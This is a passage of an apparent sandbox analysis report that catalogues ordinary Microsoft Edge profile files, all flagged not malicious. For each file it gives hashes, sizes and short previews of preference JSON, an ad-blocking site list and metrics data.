Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\60731a4e-6c73-4a5c-9e84-f79fc50b624b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.095533457085482
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZyi1zNtrkALEqodRNpna1FJvXWKJDSgzMMd6qD47d:+/Ps+wsI7ynsIqodRZKtSmd6qE7lFoC
MD5:	4C299C62DB8EAC197463D5C6F32B307A
SHA1:	C8151B6E501DF2F1B181D1A7C7048FB91F3DD2CC
SHA-256:	55936A6156810BEB00BA982BCCDAC92B0567F9555895A3FECDABD20028D155B5
SHA-512:	4837DBFA616EA9431C77CB6CF8D42BF486441901ED9E685BE468AE652944151BDBA3BDD393E4F89B24EE0EC745D2E65EBDB1A1E3AF38456FB4C545E146FC69AB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6943c737-5a83-44b8-8f39-61b5893abf6d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46479
Entropy (8bit):	6.086695989997871
Encrypted:	false
SSDEEP:	768:LMkbJrT8IeQcrQgxKbtxi1zNtrkALEqodR9KJ+hD3Fytwhy1DhuCiooJDSgzMMd5:LMk1rT8HRKoIqodRB014FootSmd6qE7E
MD5:	FA9B56F0FCB425F001B6FEA4FA328F20
SHA1:	A8016018C31F4942E79E74924C704222D49FC4DC
SHA-256:	D57F8A69C1179E6C5F6E995B62DA55365EB5ED1A0A5BBC89F954FF5CFF613FED
SHA-512:	99B6DADBAA58C4FA3F71088888B7DB85F9A7C9AA8AA2330131A2D67C63DEAA6D38A6039A81F46A7654E124BAD34DD6B6F9E45EAFC636CBC789AD29E97A15DD68
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374773964018139","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"345f44d7-82bf-4122-a42d-0f833d3713c2"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730300368"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8b608e74-d5e1-4078-9325-12a3dbe3f61f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46526
Entropy (8bit):	6.086449330307418
Encrypted:	false
SSDEEP:	768:LMkbJrT8IeQcrQgxKbYxi1zNtrkALEqodR9KJ+hD3Fytwhy1DhuCiooJDSgzMMd5:LMk1rT8HRKJIqodRB014FootSmd6qE7E
MD5:	DBB3A95F7DBDCD83C6D2F0208FE2D41C
SHA1:	2B92EF7114ECC7F17BADC5DB7D0694DE9953CC0D
SHA-256:	5486C6E0FF95E564DBC170287D0A997083609F734178B5698493D0248A25E3DB
SHA-512:	A524FA54102B0BE9ADBF1B70C3A9D3916CE584B515FD9FA70A772C7E20A2B36F6DBF927B54B653DD3F505D99FD4AB8248F6361BF17CF0E79BD8A8988CBB8F102
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374773964018139","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"345f44d7-82bf-4122-a42d-0f833d3713c2"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730300368"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\52e3a280-6213-494d-bc00-5ebb40c8d5f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-672249CA-EC8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4573643708319564
Encrypted:	false
SSDEEP:	6144:x+L/GjjqhkcVOLFzZ8+qfJG3GprSaHYo:qkcYLp1c
MD5:	13B89DACC36D273CFCC5637BD0882B85
SHA1:	4036484AC6BB954593B25C98DABC3CFCFD074EC5
SHA-256:	1C0011CF92328E191C637F1D6E4D9E59C8457E0A75396174247B8F3A2689CA79
SHA-512:	5DA60F8C668BB3715096317D8262F6D3CADB1173B6258B4A58A9834422EC7B954BBBF0E7901BDD490438EB4F10B46F9C271E7837D81F05881D5B4459E1E3AE24
Malicious:	false
Preview:	...@..@...@.....C.].....@...............0...P...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".evbxsl20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0c6e7575-cb85-4d10-8b50-06172b61256d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1cb41639-56bf-4c78-b966-ec221e2aa401.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1cc3ac56-a4df-44a6-922a-1a47e81b9fe1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557855134382655
Encrypted:	false
SSDEEP:	768:6KMegXWgg7pLGLpDuW5w8Wf49I8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP/bI0p3dn:6hjX7scpDuWa8WfMIu1jaG15mj3tK
MD5:	142F10A55794B7065CBE8E42E27B249E
SHA1:	85AAC1E99F3AD6094C02C89D5C32E89C6647FBD0
SHA-256:	2C5233F1C5A48EC10E5D9411A8B436F1DFA79E76BCA25D7BCF5BEBFCC8791049
SHA-512:	59D8BD68AABDBE6F620453C6E501626852B8F57EAA07463E021E35D9913FBEE9D7AEDFDEA1D4D882F26C503496EC6FF9EF9B16D84BD731C2308BB2AF0467BDFE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374773963150572","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374773963150572","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6f39728f-31d8-4c9a-a68e-4c16d657edda.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.555006388104357
Encrypted:	false
SSDEEP:	768:6KBeeXW2g7pLGLpkuW5w8Wf4oI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPQbI0pcdm:6QZXpscpkuWa8WfrIu1jal1KmtW9slYM
MD5:	189042988B27917C5E85FDE90A7BF392
SHA1:	6E85CF73414946D5C85A555E4635A3B9FCDD9611
SHA-256:	9E0B156A45BDC5D1A03503902A6E7BC2A687EBC9E29EC89AAA728FEB5088510E
SHA-512:	3362ED34EB002C7A8C756B01B2529C493AC2B02251455213B9C3F8680946AB16CE65006D108497541CB4DD8A5613A19F86BAD538861645939977041F8DD58236
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374773963150572","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374773963150572","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7a895c03-919c-4884-af2b-53ef1a96baf4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\83e18971-29e0-4c17-9657-a8960f30fd96.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.112455692793718
Encrypted:	false
SSDEEP:	192:st4kdpzsa+aFvrE9kvoq8B6bV+Fb5QAtUXP0YJ:st4Qzsa+CD5bGdQH1
MD5:	77336C0E20D76FEEEF0268D30D90B88A
SHA1:	8D0CE078B71DB5B8D3E4C313E36C41AD5E2635C1
SHA-256:	49FEEB6034C8260E74946F71AB02AE39C9ACC741BFF8ACABE12F44DD61D5F505
SHA-512:	86ACCFB64C2314BA0AFB5CD1C98DBC46DA7F8ADEEA0F5F3B8558A6D3760C023810A2F8BD969E3AB424872AD02E925639C4B37723A2D73BE035FB99B8DFCCD29B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374773963831317","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.282908356018093
Encrypted:	false
SSDEEP:	6:6k/81N723oH+Tcwtp3hBtB2KLlgk/u3+q2PN723oH+Tcwtp3hBWsIFUv:6kUaYebp3dFLCk2OvVaYebp3eFUv
MD5:	AC0718B5ADFEDEAE39F260CD85DB5D5D
SHA1:	640C1322FB336B0EBCD19AC876B48BCDE63BED91
SHA-256:	983F9C870544368F43A8763839FCD2DC84DD538109051F25E4A5B5A645C9EA13
SHA-512:	6A2D3A3F54BB5B1E2DE9EDBF2C5D9FBD516CE36301846B99DAF97E75BC5652950807E51D27A6BFC38431F1F0C9040DA70E525706EAC90F2E014063FA8F10E41D
Malicious:	false
